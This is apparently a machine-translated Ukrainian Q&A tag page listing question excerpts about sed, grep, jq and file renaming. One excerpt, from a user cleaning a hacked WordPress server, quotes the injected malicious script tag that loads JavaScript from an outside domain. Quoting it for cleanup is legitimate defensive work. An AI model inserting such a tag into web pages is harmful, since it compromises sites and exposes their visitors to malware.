Запитання з тегом «sed»

Sed (редактор потоку) - редактор командного рядка для середовища POSIX. Sed обробляє один або кілька файлів відповідно до сценарію редагування та записує результати на стандартний вихід. Створена в Bell Labs, вона існує приблизно з середини 70-х.

8
Як витягти рядок за шаблоном за допомогою grep, регулярного виразу або perl
У мене є файл, який виглядає приблизно так: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> Мені потрібно витягти що - або в лапках , які слідують name=, тобто content_analyzer, content_analyzer2і content_analyzer_items. Я роблю це на коробці Linux, тому рішення …


2
Як grep для нечутливого до рядка рядка у файлі?
У мене є файл, file1який закінчується Success...АБО success... Я хочу grepдля слова successтаким чином, що не враховує регістр. Я написав наступну команду, але вона враховує регістр cat file1 | grep "success\.\.\." Як я можу змінити його так, щоб це було returns 0як з Success...АБО success...
89 bash  shell  awk  sed  grep 

12
Використання sed для масового перейменування файлів
Об’єктивна Змініть ці імена файлів: F00001-0708-RG-бяслюйда F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl до цих імен файлів: F0001-0708-RG-бяслюйда F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl Код оболонки Тестувати: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' Виконувати: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh Моє запитання Я не розумію код sed. Я розумію, що таке команда заміни $ sed 's/something/mv' засоби. І я …
87 bash  shell  sed  file-rename 

2
Використовуйте jq для синтаксичного аналізу рядка JSON
Я намагаюся jqпроаналізувати структуру JSON, наприклад: { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } Тобто елементом у JSON є рядок із екранованим json. Отже, у мене є щось на зразок $ jq [.c] myFile.json | jq [.id] Але це не вдається jq: error: Cannot index string …
87 json  string  sed  escaping  jq 

3
Поняття "утримувати простір" та "простір візерунка" в sed
Мене бентежать два поняття в sed: утримувати простір і простір шаблонів. Хтось може допомогти пояснити їх? Ось фрагмент посібника: h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line of input into the pattern space. Ці шість команд …
86 linux  sed 

20
Рекурсивно перейменовуйте файли за допомогою find та sed
Я хочу переглядати купу каталогів і замінювати всі файли, які закінчуються на _test.rb, на _spec.rb. Це те, чого я ніколи не розумів, як робити баш, тому цього разу я подумав, що доклав би зусиль, щоб його прибити. Я поки що прийшов короткий, хоча, мої найкращі зусилля: find spec -name "*_test.rb" …
85 bash  scripting  sed  find  replace 

6
Як видалити всі рядки у файлі, починаючи з відповідного рядка?
У мене є файл, який складається з кількох рядків тексту: The first line The second line The third line The fourth line У мене є рядок, який є одним із рядків: The second line Я хочу видалити рядок і всі рядки після нього у файлі, тому він буде видалений The …
84 linux  bash  sed 


8
Пошук з урахуванням регістру та заміну на sed
Я намагаюся використовувати SED для вилучення тексту з файлу журналу. Я можу виконати пошук і заміну без зайвих проблем: sed 's/foo/bar/' mylog.txt Однак я хочу зробити пошук нечутливим до регістру. З того, що я погуглив, схоже, додавання iдо кінця команди повинно працювати: sed 's/foo/bar/i' mylog.txt Однак це дає мені повідомлення …

11
Як видалити всі пробіли з даного текстового файлу
Я хочу видалити всі пробіли з даного текстового файлу. Чи доступна якась команда оболонки для цього? Або, як використовувати sedдля цієї мети. Я хочу щось подібне нижче: $ cat hello.txt | sed .... Я спробував це: cat hello.txt | sed 's/ //g'.Але воно видаляє лише пробіли, а не вкладки.
81 linux  bash  sed 

8
Командний рядок: пошук і заміна у всіх назвах файлів, що відповідають grep
Я намагаюся знайти та замінити рядок у всіх файлах, що відповідають grep: grep -n 'foo' * дасть мені результат у вигляді: [filename]:[line number]:[text] Для кожного файлу, що повертається grep, я хотів би змінити файл, замінивши fooна bar.
80 linux  perl  awk  sed  grep 

10
Як уникнути подвійних та одинарних лапок у sed?
З того, що я можу знайти, коли ви використовуєте одинарні лапки, все всередині вважається буквальним. Я хочу це для своєї заміни. Але я також хочу знайти рядок, який має одинарні або подвійні лапки. Наприклад, sed -i 's/"http://www.fubar.com"/URL_FUBAR/g' Я хочу замінити "http://www.fubar.com" на URL_FUBAR. Як sed повинен розпізнати мої // або …
79 bash  command-line  sed 

7
Як замінити цілу струну за допомогою sed або можливо grep
Таким чином, весь мій сервер зламали або виникли проблеми із шкідливим програмним забезпеченням. мій сайт базується на WordPress, а більшість сайтів, розміщених на моєму сервері, засновані на WordPress. Хакер додав цей рядок коду до кожного файлу та в базі даних <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Я шукав його за допомогою grep, використовуючи …
10 bash  shell  sed  grep 
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.